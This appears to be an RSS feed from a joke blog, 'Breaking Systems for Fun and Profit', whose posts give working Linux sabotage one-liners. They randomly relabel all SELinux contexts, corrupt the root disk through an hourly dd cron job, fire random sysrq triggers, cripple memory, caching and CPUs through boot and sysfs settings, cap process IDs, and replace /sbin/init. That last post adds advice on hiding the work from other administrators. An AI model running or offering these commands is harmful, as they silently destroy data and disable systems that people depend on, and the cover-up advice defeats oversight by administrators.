<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Breaking Systems for Fun and Profit &#187; Kernel Capers</title>
	<atom:link href="http://breakingsystemsforfunandprofit.com/archives/category/kernel/feed" rel="self" type="application/rss+xml" />
	<link>http://breakingsystemsforfunandprofit.com</link>
	<description>You _can_ stop the signal.</description>
	<lastBuildDate>Mon, 17 May 2010 09:58:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Defaults are fine, right?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/196</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/196#comments</comments>
		<pubDate>Fri, 14 May 2010 10:08:42 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[SELinux Shootout]]></category>
		<category><![CDATA[defaults]]></category>
		<category><![CDATA[selinux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=196</guid>
		<description><![CDATA[chcon -t default_t /]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">chcon <span style="color: #660033;">-t</span> default_t <span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/196/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SELinux fun</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/187</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/187#comments</comments>
		<pubDate>Wed, 12 May 2010 16:17:55 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[SELinux Shootout]]></category>
		<category><![CDATA[arrays]]></category>
		<category><![CDATA[selinux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=187</guid>
		<description><![CDATA[TYPES=&#40;$&#40;seinfo -t &#124; tail -n+3&#41;&#41; for FILE in $&#40;find /&#41;; do chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} &#93;&#93;&#125; ${FILE} done&#41; &#38;&#62; /dev/null]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">TYPES</span>=<span style="color: #7a0874; font-weight: bold;">&#40;</span>$<span style="color: #7a0874; font-weight: bold;">&#40;</span>seinfo <span style="color: #660033;">-t</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tail</span> -n+<span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">for</span> FILE <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span>
    chcon <span style="color: #660033;">-t</span> <span style="color: #800000;">${TYPES[$[ ${RANDOM}</span> <span style="color: #000000; font-weight: bold;">%</span> <span style="color: #800000;">${#TYPES[@]}</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> <span style="color: #800000;">${FILE}</span>
<span style="color: #000000; font-weight: bold;">done</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/187/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Accelerated bitrot</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/180</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/180#comments</comments>
		<pubDate>Mon, 18 Jan 2010 17:53:41 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[rootfs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=180</guid>
		<description><![CDATA[Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time: ROOTDEV=$&#40;df -h / &#124; sed -n '2p' &#124; cut -d ' ' -f1&#41; ROOTSZ=$&#91;$&#40;blockdev --getsz ${ROOTDEV}&#41; * 512&#93; LOCATION=$&#91;${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}&#93; dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} [...]]]></description>
			<content:encoded><![CDATA[<p>Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">ROOTDEV</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">df</span> <span style="color: #660033;">-h</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'2p'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> -f1<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">ROOTSZ</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span>$<span style="color: #7a0874; font-weight: bold;">&#40;</span>blockdev <span style="color: #660033;">--getsz</span> <span style="color: #800000;">${ROOTDEV}</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">512</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #007800;">LOCATION</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">%</span> <span style="color: #800000;">${ROOTSZ}</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;"><span style="color: #000000; font-weight: bold;">if</span></span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>urandom <span style="color: #007800;">of</span>=<span style="color: #800000;">${ROOTDEV}</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">seek</span>=<span style="color: #800000;">${LOCATION}</span> <span style="color: #007800;">conv</span>=notrunc</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/180/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Add some spice to your life</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/170</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/170#comments</comments>
		<pubDate>Wed, 16 Dec 2009 10:47:57 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Cron Crapola]]></category>
		<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[sysrq]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=170</guid>
		<description><![CDATA[Spice up your life a bit with the following command: echo 'SYSRQLETTERS=&#34;bcdefghijklmnopqrstuvwx&#34;; echo ${SYSRQLETTERS} &#124; cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] &#62; /proc/sysrq-trigger' &#62; /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime]]></description>
			<content:encoded><![CDATA[<p>Spice up your life a bit with the following command:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'SYSRQLETTERS=&quot;bcdefghijklmnopqrstuvwx&quot;; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] &gt; /proc/sysrq-trigger'</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.hourly<span style="color: #000000; font-weight: bold;">/</span>happyfuntime; <span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.hourly<span style="color: #000000; font-weight: bold;">/</span>happyfuntime</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/170/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No Reservations?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/164</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/164#comments</comments>
		<pubDate>Tue, 15 Dec 2009 11:00:31 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[rootfs]]></category>
		<category><![CDATA[tune2fs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=164</guid>
		<description><![CDATA[tune2fs -m50 $&#40;mount &#124; awk '/on \/ type/{print $1}'&#41;]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">tune2fs <span style="color: #660033;">-m50</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">mount</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'/on \/ type/{print $1}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/164/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bad memory</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/160</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/160#comments</comments>
		<pubDate>Mon, 14 Dec 2009 10:21:46 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[bad memory]]></category>
		<category><![CDATA[memmap]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=160</guid>
		<description><![CDATA[This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue: sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf]]></description>
			<content:encoded><![CDATA[<p>This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #660033;">-r</span> <span style="color: #ff0000;">'/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/'</span> <span style="color: #000000; font-weight: bold;">/</span>boot<span style="color: #000000; font-weight: bold;">/</span>grub<span style="color: #000000; font-weight: bold;">/</span>grub.conf</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/160/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Speed? What speed?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/149</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/149#comments</comments>
		<pubDate>Wed, 14 Oct 2009 12:30:39 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=149</guid>
		<description><![CDATA[This one got submitted by Ray: echo &#34;base=0x00000000 size=0xffffffff type=uncachable&#34; &#62; /proc/mtrr It works best if you put it in rc.sysinit or any other place early in your boot sequence.]]></description>
			<content:encoded><![CDATA[<p>This one got submitted by Ray:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;base=0x00000000 size=0xffffffff type=uncachable&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>mtrr</pre></div></div>

<p>It works best if you put it in <code>rc.sysinit</code> or any other place early in your boot sequence.</p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/149/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Who needs multiple cores anyway?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/140</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/140#comments</comments>
		<pubDate>Tue, 25 Aug 2009 13:10:04 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[sysfs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=140</guid>
		<description><![CDATA[Disabling cores for fun and profit]]></description>
			<content:encoded><![CDATA[<p>Do you remember the good old days when all you had was a single core? Time to re-live those glory days!</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>devices<span style="color: #000000; font-weight: bold;">/</span>system<span style="color: #000000; font-weight: bold;">/</span>cpu<span style="color: #000000; font-weight: bold;">/</span>cpu<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span>-<span style="color: #000000;">9</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #000000; font-weight: bold;">*</span>
<span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #800000;">${I}</span><span style="color: #000000; font-weight: bold;">/</span>online
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

<p><em>Unfortunately we can&#8217;t disable cpu0&#8230;</em> </p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/140/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SImplify your init</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/128</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/128#comments</comments>
		<pubDate>Sun, 09 Aug 2009 08:40:11 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[init]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[submitted]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=128</guid>
		<description><![CDATA[This one was submitted by fl0_: Create a file called init.c #include &#60;stdio.h&#62; &#160; int main&#40;&#41;&#123; &#160; printf&#40;&#34;MOEHAHAHHAAAA\n&#34;&#41;; return 0; &#125; Next run the following commands: gcc -o init init.c touch -r /sbin/init init cp -f init /sbin/init You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o [...]]]></description>
			<content:encoded><![CDATA[<p>This one was submitted by <strong>fl0_</strong>:</p>
<p>Create a file called <code>init.c</code></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
       <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;MOEHAHAHHAAAA<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Next run the following commands:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-o</span> init init.c
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #660033;">-r</span> <span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>init init
<span style="color: #c20cb9; font-weight: bold;">cp</span> <span style="color: #660033;">-f</span> init <span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>init</pre></div></div>

<p>You might want to hide your handiwork from the other admins by either removing <code>~/.bash_history</code>(obvious)/running <code>set +o history</code> before you begin/<code>kill -9 $$</code></p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/128/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;m sorry, but I can&#8217;t let you do that Dave&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/67</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/67#comments</comments>
		<pubDate>Fri, 24 Jul 2009 14:37:12 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=67</guid>
		<description><![CDATA[echo &#34;kernel.pid_max = 132&#34; &#62;&#62; /etc/sysctl.conf]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;kernel.pid_max = 132&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sysctl.conf</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/67/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
